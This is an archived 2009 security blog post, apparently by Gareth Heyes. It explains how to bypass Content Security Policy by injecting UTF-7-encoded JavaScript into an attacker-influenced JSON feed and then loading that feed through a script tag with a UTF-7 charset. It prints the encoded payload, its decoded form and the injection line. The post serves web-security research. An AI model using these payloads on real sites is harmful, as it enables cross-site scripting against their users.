Bypassing CSP for fun, no profit

Bypassing CSP for fun, no profit - Gareth Heyes, thespanner.co.uk.

- Published: date not stated
- Original: <http://www.thespanner.co.uk/2009/11/23/bypassing-csp-for-fun-no-profit/>
- Preserved from: http://www.thespanner.co.uk/2009/11/23/bypassing-csp-for-fun-no-profit/ (browser) on 2026-08-17
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Bypassing CSP for fun, no profit

By Gareth Heyes (@ hackvertor)

Published 16 years 8 months ago • Last updated March 22, 2025 • < 1 min read

Back to articles

I had fun at Confidence 2.0 CON, I'm gonna blog about the stuff I was holding back now :)

So I figured how to bypass CSP with UTF-7 and JSON. Basically any site with a JSON feed that can be manipulated by an attacker (reflective or persistent) can be injected with even in a correctly escaped JSON feed.

Utf-7 can be fully encoded meaning that you can conceal string characters and others. 'ABC' becomes +ACcAQQBCAEMAJw-. So if we look at a fictional JSON feed such as:- [{'friend':'something',email:'something'}]

If we can influence the "something" parts then we inject the feed with our data to bypass CSP:- [{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJw BNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdw BpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAb wBiACcAOgAnAGQAbwBuAGU-'}]

This is what the code looks like when decoded:- [{'friend':'luke','email':''}];alert('May the force be with you');[{'job':'done'}]

We then inject the data by referencing it using a script tag and a charset:-

<pre lang="javascript"> "><script src="http://some.website/test.json" charset="utf-7"></script> </pre>

This successfully executes in CSP bypasing it's restrictions because the code comes from the domain itself and doesn't use in-line or attribute based XSS.

As always as demo is available here:- CSP bypass

Back to articles